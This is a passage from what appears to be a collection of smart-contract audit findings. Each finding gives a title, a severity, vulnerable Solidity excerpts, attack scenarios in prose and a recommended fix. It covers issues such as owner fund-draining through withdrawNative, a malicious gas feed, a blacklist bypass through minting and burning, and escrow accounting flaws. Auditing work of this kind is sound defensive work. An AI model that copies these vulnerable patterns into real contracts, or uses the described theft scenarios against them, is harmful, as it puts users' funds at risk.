from epochs where the option token has expired, the rewards are lost\\n\\n // Get the last epoch claimed by the user\\n uint48 userLastEpoch = lastEpochClaimed[msg.sender];\\n\\n // If the last epoch claimed is equal to the current epoch, then only try to claim for the current epoch\\n if (userLastEpoch == epoch) return _claimEpochRewards(epoch);\\n\\n // If not, then the user has not claimed all rewards\\n // Start at the last claimed epoch because they may not have completely claimed that epoch\\n uint256 totalRewardsClaimed;\\n for (uint48 i = userLastEpoch; i <= epoch; i++) {\\n // For each epoch that the user has not claimed rewards for, claim the rewards\\n totalRewardsClaimed += _claimEpochRewards(i);\\n }\\n\\n return totalRewardsClaimed;\\n }\\n```\\n\\nWith each new addition of `epoch`, the new stake must consumes a lot of useless loops, from loop 0 to last `epoch` When `epoch` reaches a large size, it will result in GAS_OUT and the method cannot be executed
```\\n function stake(\\n uint256 amount_,\\n bytes calldata proof_\\n ) external nonReentrant requireInitialized updateRewards tryNewEpoch {\\n// rest of code\\n if (userBalance > 0) {\\n // Claim outstanding rewards, this will update the rewards per token claimed\\n _claimRewards();\\n } else {\\n // Initialize the rewards per token claimed for the user to the stored rewards per token\\n rewardsPerTokenClaimed[msg.sender] = rewardsPerTokenStored;\\n+ lastEpochClaimed[msg.sender] = epoch;\\n }\\n```\\n
When the `epoch` gradually increases, the new take will waste a lot of GAS When it is very large, it will cause GAS_OUT
```\\n function stake(\\n uint256 amount_,\\n bytes calldata proof_\\n ) external nonReentrant requireInitialized updateRewards tryNewEpoch {\\n// rest of code\\n uint256 userBalance = stakeBalance[msg.sender];\\n if (userBalance > 0) {\\n // Claim outstanding rewards, this will update the rewards per token claimed\\n _claimRewards();\\n } else {\\n // Initialize the rewards per token claimed for the user to the stored rewards per token\\n rewardsPerTokenClaimed[msg.sender] = rewardsPerTokenStored;\\n }\\n\\n // Increase the user's stake balance and the total balance\\n stakeBalance[msg.sender] = userBalance + amount_;\\n totalBalance += amount_;\\n\\n // Transfer the staked tokens from the user to this contract\\n stakedToken.safeTransferFrom(msg.sender, address(this), amount_);\\n }\\n```\\n
claimRewards() If a rewards is too small, it may block other epochs
medium
When `claimRewards()`, if some `rewards` is too small after being round down to 0 If `payoutToken` does not support transferring 0, it will block the subsequent epochs\\nThe current formula for calculating rewards per cycle is as follows.\\n```\\n function _claimEpochRewards(uint48 epoch_) internal returns (uint256) {\\n// rest of code\\n uint256 rewards = ((rewardsPerTokenEnd - userRewardsClaimed) * stakeBalance[msg.sender]) /\\n 10 ** stakedTokenDecimals;\\n // Mint the option token on the teller\\n // This transfers the reward amount of payout tokens to the option teller in exchange for the amount of option tokens\\n payoutToken.approve(address(optionTeller), rewards);\\n optionTeller.create(optionToken, rewards);\\n```\\n\\nCalculate `rewards` formula : uint256 `rewards` = ((rewardsPerTokenEnd - userRewardsClaimed) * stakeBalance[msg.sender]) /10 ** stakedTokenDecimals;\\nWhen `rewardsPerTokenEnd` is very close to `userRewardsClaimed`, `rewards` is likely to be round downs to 0 Some tokens do not support transfer(amount=0) This will revert and lead to can't claims
```\\n function _claimEpochRewards(uint48 epoch_) internal returns (uint256) {\\n// rest of code..\\n\\n uint256 rewards = ((rewardsPerTokenEnd - userRewardsClaimed) * stakeBalance[msg.sender]) /\\n 10 ** stakedTokenDecimals;\\n+ if (rewards == 0 ) return 0;\\n // Mint the option token on the teller\\n // This transfers the reward amount of payout tokens to the option teller in exchange for the amount of option tokens\\n payoutToken.approve(address(optionTeller), rewards);\\n optionTeller.create(optionToken, rewards);\\n```\\n
Stuck `claimRewards()` when the rewards of an epoch is 0
```\\n function _claimEpochRewards(uint48 epoch_) internal returns (uint256) {\\n// rest of code\\n uint256 rewards = ((rewardsPerTokenEnd - userRewardsClaimed) * stakeBalance[msg.sender]) /\\n 10 ** stakedTokenDecimals;\\n // Mint the option token on the teller\\n // This transfers the reward amount of payout tokens to the option teller in exchange for the amount of option tokens\\n payoutToken.approve(address(optionTeller), rewards);\\n optionTeller.create(optionToken, rewards);\\n```\\n
Lack of segregation between users' assets and collected fees resulting in loss of funds for the users
high
The users' assets are wrongly sent to the owner due to a lack of segregation between users' assets and collected fees, which might result in an irreversible loss of assets for the victims.\\nGLX uses the Chainlink Automation to execute the `LimitOrderRegistry.performUpkeep` function when there are orders that need to be fulfilled. The `LimitOrderRegistry` contract must be funded with LINK tokens to keep the operation running.\\nTo ensure the LINK tokens are continuously replenished and funded, users must pay a fee denominated in Native ETH or ERC20 WETH tokens on orders claiming as shown below. The collected ETH fee will be stored within the `LimitOrderRegistry` contract.\\n```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n // refund if necessary.\\n uint256 refund = msg.value - userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund);\\n } else {\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n // If value is non zero send it back to caller.\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n }\\n..SNIP..\\n```\\n\\nTo retrieve the ETH fee collected, the owner will call the `LimitOrderRegistry.withdrawNative` function that will send all the Native ETH and ERC20 WETH tokens within the `LimitOrderRegistry` contract to the owner's address. After executing this function, the Native ETH and ERC20 WETH tokens on this contract will be zero and wiped out.\\n```\\nFile: LimitOrderRegistry.sol\\n function withdrawNative() external onlyOwner {\\n uint256 wrappedNativeBalance = WRAPPED_NATIVE.balanceOf(address(this));\\n uint256 nativeBalance = address(this).balance;\\n // Make sure there is something to withdraw.\\n if (wrappedNativeBalance == 0 && nativeBalance == 0) revert LimitOrderRegistry__ZeroNativeBalance();\\n\\n // transfer wrappedNativeBalance if it exists\\n if (wrappedNativeBalance > 0) WRAPPED_NATIVE.safeTransfer(owner, wrappedNativeBalance);\\n // transfer nativeBalance if it exists\\n if (nativeBalance > 0) owner.safeTransferETH(nativeBalance);\\n }\\n```\\n\\nMost owners will automate replenishing the `LimitOrderRegistry` contract with LINK tokens to ensure its balance does not fall below zero and for ease of maintenance. For instance, a certain percentage of the collected ETH fee (e.g., 50%) will be swapped immediately to LINK tokens on a DEX upon collection and transferred the swapped LINK tokens back to the `LimitOrderRegistry` contract. The remaining will be spent to cover operation and maintenance costs.\\nHowever, the issue is that there are many Uniswap V3 pools where their token pair consists of ETH/WETH. In fact, most large pools in Uniswap V3 will consist of ETH/WETH. For instance, the following Uniswap pools consist of ETH/WETH as one of the pool tokens:\\nUSDC / ETH (0.05% Fee) (TLV: $284 million)\\nWBTC / ETH (0.3% Fee) (TLV: $227 million)\\nUSDC / ETH (0.3% Fee) (TLV: $88 million)\\nDAI / ETH (0.3% Fee) (TLV: $14 million)\\nAssume that the owner has configured and setup the `LimitOrderRegistry` contract to work with the Uniswap DAI/ETH pool, and the current price of the DAI/ETH pool is 1,500 DAI/ETH.\\nBob submit a new Buy Limit Order swapping DAI to ETH at the price of 1,000 DAI/ETH. Bob would deposit 1,000,000 DAI to the `LimitOrderRegistry` contract.\\nWhen Bob's Buy Limit Order is ITM and fulfilled, 1000 ETH/WETH will be sent to and stored within the `LimitOrderRegistry` contract.\\nThe next step that Bob must do to claim the swapped 1000 ETH/WETH is to call the `LimitOrderRegistry.claimOrder` function, which will collect the fee and transfer the swapped 1000 ETH/WETH to Bob.\\nUnfortunately, before Bob could claim his swapped ETH/WETH, the `LimitOrderRegistry.withdrawNative` function is triggered by the owner or the owner's bots. As noted earlier, when the `LimitOrderRegistry.withdrawNative` function is triggered, all the Native ETH and ERC20 WETH tokens on this contract will be transferred to the owner's address. As a result, Bob's 1000 swapped ETH/WETH stored within the `LimitOrderRegistry` contract are sent to the owner's address, and the balance of ETH/WETH in the `LimitOrderRegistry` contract is zero.\\nWhen Bob calls the `LimitOrderRegistry.claimOrder` function, the transaction will revert because insufficient ETH/WETH is left in the `LimitOrderRegistry` contract.\\nUnfortunately for Bob, there is no way to recover back his ETH/WETH that is sent to the owner's address. Following outline some of the possible scenarios where this could happen:\\nThe owners set up their infrastructure to automatically swap a portion or all the ETH/WETH received to LINK tokens and transfer them to the `LimitOrderRegistry` contract, and there is no way to retrieve the deposited LINK tokens from the `LimitOrderRegistry` contract even if the owner wishes to do so as there is no function within the contract to allow this action.\\nThe owners set up their infrastructure to automatically swap a small portion of ETH/WETH received to LINK tokens and send the rest of the ETH/WETH to 100 investors/DAO members' addresses. So, it is no guarantee that the investors/DAO members will return the ETH/WETH to Bob.
Consider implementing one of the following solutions to mitigate the issue:\\nSolution 1 - Only accept Native ETH as fee\\nUniswap V3 pool stored ETH as Wrapped ETH (WETH) ERC20 token internally. When the `collect` function is called against the pool, WETH ERC20 tokens are returned to the caller. Thus, the most straightforward way to mitigate this issue is to update the contract to `collect` the fee in Native ETH only.\\nIn this case, there will be a clear segregation between users' assets (WETH) and owner's fee (Native ETH)\\n```\\nfunction withdrawNative() external onlyOwner {\\n// Remove the line below\\n uint256 wrappedNativeBalance = WRAPPED_NATIVE.balanceOf(address(this));\\n uint256 nativeBalance = address(this).balance;\\n // Make sure there is something to withdraw.\\n// Remove the line below\\n if (wrappedNativeBalance == 0 && nativeBalance == 0) revert LimitOrderRegistry__ZeroNativeBalance();\\n// Add the line below\\n if (nativeBalance == 0) revert LimitOrderRegistry__ZeroNativeBalance();\\n\\n// Remove the line below\\n // transfer wrappedNativeBalance if it exists\\n// Remove the line below\\n if (wrappedNativeBalance > 0) WRAPPED_NATIVE.safeTransfer(owner, wrappedNativeBalance);\\n // transfer nativeBalance if it exists\\n if (nativeBalance > 0) owner.safeTransferETH(nativeBalance);\\n}\\n```\\n\\n```\\nfunction claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n // refund if necessary.\\n uint256 refund = msg.value // Remove the line below\\n userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund); \\n } else {\\n// Remove the line below\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n// Remove the line below\\n // If value is non zero send it back to caller.\\n// Remove the line below\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n// Add the line below\\n revert LimitOrderRegistry__InsufficientFee;\\n }\\n..SNIP..\\n```\\n\\nSolution 2 - Define state variables to keep track of the collected fee\\nConsider defining state variables to keep track of the collected fee so that the fee will not mix up with users' assets.\\n```\\nfunction claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n// Add the line below\\n collectedNativeETHFee // Add the line below\\n= userClaim.feePerUser\\n // refund if necessary.\\n uint256 refund = msg.value - userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund);\\n } else {\\n// Add the line below\\n collectedWETHFee // Add the line below\\n= userClaim.feePerUser\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n // If value is non zero send it back to caller.\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n }\\n..SNIP..\\n```\\n\\n```\\nfunction withdrawNative() external onlyOwner {\\n// Remove the line below\\n uint256 wrappedNativeBalance = WRAPPED_NATIVE.balanceOf(address(this));\\n// Remove the line below\\n uint256 nativeBalance = address(this).balance;\\n// Add the line below\\n uint256 wrappedNativeBalance = collectedWETHFee;\\n// Add the line below\\n uint256 nativeBalance = collectedNativeETHFee;\\n// Add the line below\\n collectedWETHFee = 0; // clear the fee\\n// Add the line below\\n collectedNativeETHFee = 0; // clear the fee\\n // Make sure there is something to withdraw.\\n if (wrappedNativeBalance == 0 && nativeBalance == 0) revert LimitOrderRegistry__ZeroNativeBalance();\\n\\n // transfer wrappedNativeBalance if it exists\\n if (wrappedNativeBalance > 0) WRAPPED_NATIVE.safeTransfer(owner, wrappedNativeBalance);\\n // transfer nativeBalance if it exists\\n if (nativeBalance > 0) owner.safeTransferETH(nativeBalance);\\n}\\n```\\n
Loss of assets for the users
```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n // refund if necessary.\\n uint256 refund = msg.value - userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund);\\n } else {\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n // If value is non zero send it back to caller.\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n }\\n..SNIP..\\n```\\n
Users' funds could be stolen or locked by malicious or rouge owners
high
Users' funds could be stolen or locked by malicious or rouge owners.\\nIn the contest's README, the following was mentioned.\\nQ: Is the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?\\nrestricted. the owner should not be able to steal funds.\\nIt was understood that the owner is not "trusted" and should not be able to steal funds. Thus, it is fair to assume that the sponsor is keen to know if there are vulnerabilities that could allow the owner to steal funds or, to a lesser extent, lock the user's funds.\\nMany control measures are implemented within the protocol to prevent the owner from stealing or locking the user's funds.\\nHowever, based on the review of the codebase, there are still some "loopholes" that the owner can exploit to steal funds or indirectly cause losses to the users. Following is a list of methods/tricks to do so.\\nMethod 1 - Use the vulnerable `withdrawNative` function\\nOnce the user's order is fulfilled, the swapped ETH/WETH will be sent to the contract awaiting the user's claim. However, the owner can call the `withdrawNative` function, which will forward all the Native ETH and Wrapped ETH in the contract to the owner's address due to another bug ("Lack of segregation between users' assets and collected fees resulting in loss of funds for the users") that I highlighted in another of my report.\\nMethod 2 - Add a malicious custom price feed\\n```\\nFile: LimitOrderRegistry.sol\\n function setFastGasFeed(address feed) external onlyOwner {\\n fastGasFeed = feed;\\n }\\n```\\n\\nThe owner can create a malicious price feed contract and configure the `LimitOrderRegistry` to use it by calling the `setFastGasFeed` function.\\n```\\nFile: LimitOrderRegistry.sol\\n function performUpkeep(bytes calldata performData) external {\\n (UniswapV3Pool pool, bool walkDirection, uint256 deadline) = abi.decode(\\n performData,\\n (UniswapV3Pool, bool, uint256)\\n );\\n\\n if (address(poolToData[pool].token0) == address(0)) revert LimitOrderRegistry__PoolNotSetup(address(pool));\\n\\n PoolData storage data = poolToData[pool];\\n\\n // Estimate gas cost.\\n uint256 estimatedFee = uint256(upkeepGasLimit * getGasPrice());\\n```\\n\\nWhen fulfilling an order, the `getGasPrice()` function will fetch the gas price from the malicious price feed that will report an extremely high price (e.g., 100000 ETH), causing the `estimatedFee` to be extremely high. When users attempt to claim the order, they will be forced to pay an outrageous fee, which the users cannot afford to do so. Thus, the users have to forfeit their orders, and they will lose their swapped tokens.
Consider implementing the following measures to reduce the risk of malicious/rouge owners from stealing or locking the user's funds.\\nTo mitigate the issue caused by the vulnerable `withdrawNative` function. Refer to my recommendation in my report titled "Lack of segregation between users' assets and collected fees resulting in loss of funds for the users".\\nTo mitigate the issue of the owner adding a malicious custom price feed, consider performing some sanity checks against the value returned from the price feed. For instance, it should not be larger than the `MAX_GAS_PRICE` constant. If it is larger than `MAX_GAS_PRICE` constant, fallback to the user-defined gas feed, which is constrained to be less than `MAX_GAS_PRICE`.
Users' funds could be stolen or locked by malicious or rouge owners.
```\\nFile: LimitOrderRegistry.sol\\n function setFastGasFeed(address feed) external onlyOwner {\\n fastGasFeed = feed;\\n }\\n```\\n
Owners will incur loss and bad debt if the value of a token crashes
medium
If the value of the swapped tokens crash, many users will choose not to claim the orders, which result in the owner being unable to recoup back the gas fee the owner has already paid for automating the fulfillment of the orders, incurring loss and bad debt.\\n```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n // refund if necessary.\\n uint256 refund = msg.value - userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund);\\n } else {\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n // If value is non zero send it back to caller.\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n }\\n```\\n\\nUsers only need to pay for the gas cost for fulfilling the order when they claim the order to retrieve the swapped tokens. When the order is fulfilled, the swapped tokens will be sent to and stored in the `LimitOrderRegistry` contract.\\nHowever, in the event that the value of the swapped tokens crash (e.g., Terra's LUNA crash), it makes more economic sense for the users to abandon (similar to defaulting in traditional finance) the orders without claiming the worthless tokens to avoid paying the more expensive fee to the owner.\\nAs a result, many users will choose not to claim the orders, which result in the owner being unable to recoup back the gas fee the owner has already paid for automating the fulfillment of the orders, incurring loss and bad debt.
Consider collecting the fee in advance based on a rough estimation of the expected gas fee. When the users claim the order, any excess fee will be refunded, or any deficit will be collected from the users.\\nIn this case, if many users choose to abandon the orders, the owner will not incur any significant losses.
Owners might be unable to recoup back the gas fee the owner has already paid for automating the fulfillment of the orders, incurring loss and bad debt.
```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n..SNIP..\\n // Transfer fee in.\\n address sender = _msgSender();\\n if (msg.value >= userClaim.feePerUser) {\\n // refund if necessary.\\n uint256 refund = msg.value - userClaim.feePerUser;\\n if (refund > 0) sender.safeTransferETH(refund);\\n } else {\\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\\n // If value is non zero send it back to caller.\\n if (msg.value > 0) sender.safeTransferETH(msg.value);\\n }\\n```\\n
Owner unable to collect fulfillment fee from certain users due to revert error
medium
Certain users might not be able to call the `claimOrder` function under certain conditions, resulting in the owner being unable to collect fulfillment fees from the users.\\n```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n Claim storage userClaim = claim[batchId];\\n if (!userClaim.isReadyForClaim) revert LimitOrderRegistry__OrderNotReadyToClaim(batchId);\\n uint256 depositAmount = batchIdToUserDepositAmount[batchId][user];\\n if (depositAmount == 0) revert LimitOrderRegistry__UserNotFound(user, batchId);\\n\\n // Zero out user balance.\\n delete batchIdToUserDepositAmount[batchId][user];\\n\\n // Calculate owed amount.\\n uint256 totalTokenDeposited;\\n uint256 totalTokenOut;\\n ERC20 tokenOut;\\n\\n // again, remembering that direction == true means that the input token is token0.\\n if (userClaim.direction) {\\n totalTokenDeposited = userClaim.token0Amount;\\n totalTokenOut = userClaim.token1Amount;\\n tokenOut = poolToData[userClaim.pool].token1;\\n } else {\\n totalTokenDeposited = userClaim.token1Amount;\\n totalTokenOut = userClaim.token0Amount;\\n tokenOut = poolToData[userClaim.pool].token0;\\n }\\n\\n uint256 owed = (totalTokenOut * depositAmount) / totalTokenDeposited;\\n\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n```\\n\\nAssume the following:\\nSHIB has 18 decimals of precision, while USDC has 6.\\nAlice (Small Trader) deposited 10 SHIB while Bob (Big Whale) deposited 100000000 SHIB.\\nThe batch order was fulfilled, and it claimed 9 USDC (totalTokenOut)\\nThe following formula and code compute the number of swapped/claimed USDC tokens a user is entitled to.\\n```\\nowed = (totalTokenOut * depositAmount) / totalTokenDeposited\\nowed = (9 USDC * 10 SHIB) / 100000000 SHIB\\nowed = (9 * 10^6 * 10 * 10^18) / (100000000 * 10^18)\\nowed = (9 * 10^6 * 10) / (100000000)\\nowed = 90000000 / 100000000\\nowed = 0 USDC (Round down)\\n```\\n\\nBased on the above assumptions and computation, Alice will receive zero tokens in return due to a rounding error in Solidity.\\nThe issue will be aggravated under the following conditions:\\nIf the difference in the precision between `token0` and `token1` in the pool is larger\\nThe token is a stablecoin, which will attract a lot of liquidity within a small price range (e.g. $0.95 ~ $1.05)\\nThe rounding down to zero is unavoidable in this scenario due to how values are represented. It is not possible to send Alice 0.9 WEI of USDC. The smallest possible amount is 1 WEI.\\nIn this case, it will attempt to transfer a zero amount of `tokenOut,` which might result in a revert as some tokens disallow the transfer of zero value. As a result, when users call the `claimOrder` function, it will revert, and the owner will not be able to collect the fulfillment fee from the users.\\n```\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n```\\n
Consider only transferring the assets if the amount is more than zero.\\n```\\nuint256 owed = (totalTokenOut * depositAmount) / totalTokenDeposited;\\n\\n// Transfer tokens owed to user.\\n// Remove the line below\\n tokenOut.safeTransfer(user, owed);\\n// Add the line below\\n if (owed > 0) tokenOut.safeTransfer(user, owed);\\n```\\n
When a user cannot call the `claimOrder` function due to the revert error, the owner will not be able to collect the fulfillment fee from the user, resulting in a loss of fee for the owner.
```\\nFile: LimitOrderRegistry.sol\\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\\n Claim storage userClaim = claim[batchId];\\n if (!userClaim.isReadyForClaim) revert LimitOrderRegistry__OrderNotReadyToClaim(batchId);\\n uint256 depositAmount = batchIdToUserDepositAmount[batchId][user];\\n if (depositAmount == 0) revert LimitOrderRegistry__UserNotFound(user, batchId);\\n\\n // Zero out user balance.\\n delete batchIdToUserDepositAmount[batchId][user];\\n\\n // Calculate owed amount.\\n uint256 totalTokenDeposited;\\n uint256 totalTokenOut;\\n ERC20 tokenOut;\\n\\n // again, remembering that direction == true means that the input token is token0.\\n if (userClaim.direction) {\\n totalTokenDeposited = userClaim.token0Amount;\\n totalTokenOut = userClaim.token1Amount;\\n tokenOut = poolToData[userClaim.pool].token1;\\n } else {\\n totalTokenDeposited = userClaim.token1Amount;\\n totalTokenOut = userClaim.token0Amount;\\n tokenOut = poolToData[userClaim.pool].token0;\\n }\\n\\n uint256 owed = (totalTokenOut * depositAmount) / totalTokenDeposited;\\n\\n // Transfer tokens owed to user.\\n tokenOut.safeTransfer(user, owed);\\n```\\n
Bypass the blacklist restriction because the blacklist check is not done when minting or burning
high
Bypass the blacklist restriction because the blacklist check is not done when minting or burning\\nIn the whitepaper:\\nthe protocol emphasis that they implement a blacklist feature for enforcing OFAC, AML and other account security requirements A blacklisted will not able to send or receive tokens\\nthe protocol want to use the whitelist feature to be compliant to not let the blacklisted address send or receive dSahres\\nFor this reason, before token transfer, the protocol check if address from or address to is blacklisted and the blacklisted address can still create buy order or sell order\\n```\\n function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {\\n // Restrictions ignored for minting and burning\\n // If transferRestrictor is not set, no restrictions are applied\\n\\n // @audit\\n // why don't you not apply mint and burn in blacklist?\\n if (from == address(0) || to == address(0) || address(transferRestrictor) == address(0)) {\\n return;\\n }\\n\\n // Check transfer restrictions\\n transferRestrictor.requireNotRestricted(from, to);\\n }\\n```\\n\\nthis is calling\\n```\\nfunction requireNotRestricted(address from, address to) external view virtual {\\n // Check if either account is restricted\\n if (blacklist[from] || blacklist[to]) {\\n revert AccountRestricted();\\n }\\n // Otherwise, do nothing\\n}\\n```\\n\\nbut as we can see, when the dShare token is burned or minted, the blacklist does not apply to address(to)\\nthis allows the blacklisted receiver to bypass the blacklist restriction and still send and receive dShares and cash out their dShares\\nbecause the minting dShares is not blacklisted\\na blacklisted user create a buy order with payment token and set the order receiver to a non-blacklisted address\\nthen later when the buy order is filled, the new dShares is transferred and minted to an not-blacklisted address\\nbecause the burning dShares is not blacklisted\\nbefore the user is blacklisted, a user can frontrun the blacklist transaction to create a sell order and transfer the dShares into the OrderProcessor\\nthen later when the sell order is filled, the dShares in burnt from the SellOrderProcess escrow are burnt and the user can receive the payment token
Issue Bypass the blacklist restriction because the blacklist check is not done when minting or burning\\nimplement proper check when burning and minting of the dShares to not let user game the blacklist system, checking if the receiver of the dShares is blacklisted when minting, before filling sell order and burn the dShares, check if the requestor of the sell order is blacklisted\\ndo not let blacklisted address create buy order and sell order
Bypass the blacklist restriction because the blacklist check is not done when minting or burning
```\\n function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {\\n // Restrictions ignored for minting and burning\\n // If transferRestrictor is not set, no restrictions are applied\\n\\n // @audit\\n // why don't you not apply mint and burn in blacklist?\\n if (from == address(0) || to == address(0) || address(transferRestrictor) == address(0)) {\\n return;\\n }\\n\\n // Check transfer restrictions\\n transferRestrictor.requireNotRestricted(from, to);\\n }\\n```\\n
Escrow record not cleared on cancellation and order fill
medium
In `DirectBuyIssuer.sol`, a market buy requires the operator to take the payment token as escrow prior to filling the order. Checks are in place so that the math works out in terms of how much escrow has been taken vs the order's remaining fill amount. However, if the user cancels the order or fill the order, the escrow record is not cleared.\\nThe escrow record will exists as a positive amount which can lead to accounting issues.\\nTake the following example:\\nOperator broadcasts a `takeEscrow()` transaction around the same time that the user calls `requestCancel()` for the order\\nOperator also broadcasts a `cancelOrder()` transaction\\nIf the `cancelOrder()` transaction is mined before the `takeEscrow()` transaction, then the contract will transfer out token when it should not be able to.\\n`takeEscrow()` simply checks that the `getOrderEscrow[orderId]` is less than or equal to the requested amount:\\n```\\n bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);\\n uint256 escrow = getOrderEscrow[orderId];\\n if (amount > escrow) revert AmountTooLarge();\\n\\n\\n // Update escrow tracking\\n getOrderEscrow[orderId] = escrow - amount;\\n // Notify escrow taken\\n emit EscrowTaken(orderId, orderRequest.recipient, amount);\\n\\n\\n // Take escrowed payment\\n IERC20(orderRequest.paymentToken).safeTransfer(msg.sender, amount);\\n```\\n\\nCancelling the order does not clear the `getOrderEscrow` record:\\n```\\n function _cancelOrderAccounting(OrderRequest calldata order, bytes32 orderId, OrderState memory orderState)\\n internal\\n virtual\\n override\\n {\\n // Prohibit cancel if escrowed payment has been taken and not returned or filled\\n uint256 escrow = getOrderEscrow[orderId];\\n if (orderState.remainingOrder != escrow) revert UnreturnedEscrow();\\n\\n\\n // Standard buy order accounting\\n super._cancelOrderAccounting(order, orderId, orderState);\\n }\\n}\\n```\\n\\nThis can lead to an good-faith and trusted operator accidentally taking funds from the contract that should not be able to leave.\\ncoming up with the fact that the transaction does not have deadline or expiration date:\\nconsider the case below:\\na good-faith operator send a transaction, takeEscrow\\nthe transaction is pending in the mempool for a long long long time\\nthen user fire a cancel order request\\nthe operator help user cancel the order\\nthe operator send a transcation cancel order\\ncancel order transaction land first\\nthe takeEscrow transaction lands\\nbecause escrow state is not clear up, the fund (other user's fund) is taken\\nIt's also worth noting that the operator would not be able to call `returnEscrow()` because the order state has already been cleared by the cancellation. `getRemainingOrder()` would return 0.\\n```\\n function returnEscrow(OrderRequest calldata orderRequest, bytes32 salt, uint256 amount)\\n external\\n onlyRole(OPERATOR_ROLE)\\n {\\n // No nonsense\\n if (amount == 0) revert ZeroValue();\\n // Can only return unused amount\\n bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);\\n uint256 remainingOrder = getRemainingOrder(orderId);\\n uint256 escrow = getOrderEscrow[orderId];\\n // Unused amount = remaining order - remaining escrow\\n if (escrow + amount > remainingOrder) revert AmountTooLarge();\\n```\\n
Clear the escrow record upon canceling the order.
Issue Escrow record not cleared on cancellation and order fill\\nInsolvency due to pulling escrow that should not be allowed to be taken
```\\n bytes32 orderId = getOrderIdFromOrderRequest(orderRequest, salt);\\n uint256 escrow = getOrderEscrow[orderId];\\n if (amount > escrow) revert AmountTooLarge();\\n\\n\\n // Update escrow tracking\\n getOrderEscrow[orderId] = escrow - amount;\\n // Notify escrow taken\\n emit EscrowTaken(orderId, orderRequest.recipient, amount);\\n\\n\\n // Take escrowed payment\\n IERC20(orderRequest.paymentToken).safeTransfer(msg.sender, amount);\\n```\\n
Cancellation refunds should return tokens to order creator, not recipient
medium
When an order is cancelled, the refund is sent to `order.recipient` instead of the order creator because it is the order creator (requestor) pay the payment token for buy order or pay the dShares for sell order\\nAs is the standard in many L1/L2 bridges, cancelled deposits should be returned to the order creator instead of the recipient. In Dinari's current implementation, a refund acts as a transfer with a middle-man.\\nSimply, the `_cancelOrderAccounting()` function returns the refund to the order.recipient:\\n```\\n function _cancelOrderAccounting(OrderRequest calldata orderRequest, bytes32 orderId, OrderState memory orderState)\\n internal\\n virtual\\n override\\n {\\n // rest of code\\n\\n uint256 refund = orderState.remainingOrder + feeState.remainingPercentageFees;\\n\\n // rest of code\\n\\n if (refund + feeState.feesEarned == orderRequest.quantityIn) {\\n _closeOrder(orderId, orderRequest.paymentToken, 0);\\n // Refund full payment\\n refund = orderRequest.quantityIn;\\n } else {\\n // Otherwise close order and transfer fees\\n _closeOrder(orderId, orderRequest.paymentToken, feeState.feesEarned);\\n }\\n\\n\\n // Return escrow\\n IERC20(orderRequest.paymentToken).safeTransfer(orderRequest.recipient, refund);\\n }\\n```\\n\\nRefunds should be returned to the order creator in cases where the input recipient was an incorrect address or simply the user changed their mind prior to the order being filled.
Return the funds to the order creator, not the recipient.
Potential for irreversible loss of funds\\nInability to truly cancel order
```\\n function _cancelOrderAccounting(OrderRequest calldata orderRequest, bytes32 orderId, OrderState memory orderState)\\n internal\\n virtual\\n override\\n {\\n // rest of code\\n\\n uint256 refund = orderState.remainingOrder + feeState.remainingPercentageFees;\\n\\n // rest of code\\n\\n if (refund + feeState.feesEarned == orderRequest.quantityIn) {\\n _closeOrder(orderId, orderRequest.paymentToken, 0);\\n // Refund full payment\\n refund = orderRequest.quantityIn;\\n } else {\\n // Otherwise close order and transfer fees\\n _closeOrder(orderId, orderRequest.paymentToken, feeState.feesEarned);\\n }\\n\\n\\n // Return escrow\\n IERC20(orderRequest.paymentToken).safeTransfer(orderRequest.recipient, refund);\\n }\\n```\\n
`reduce_position` doesn't update margin mapping correctly
high
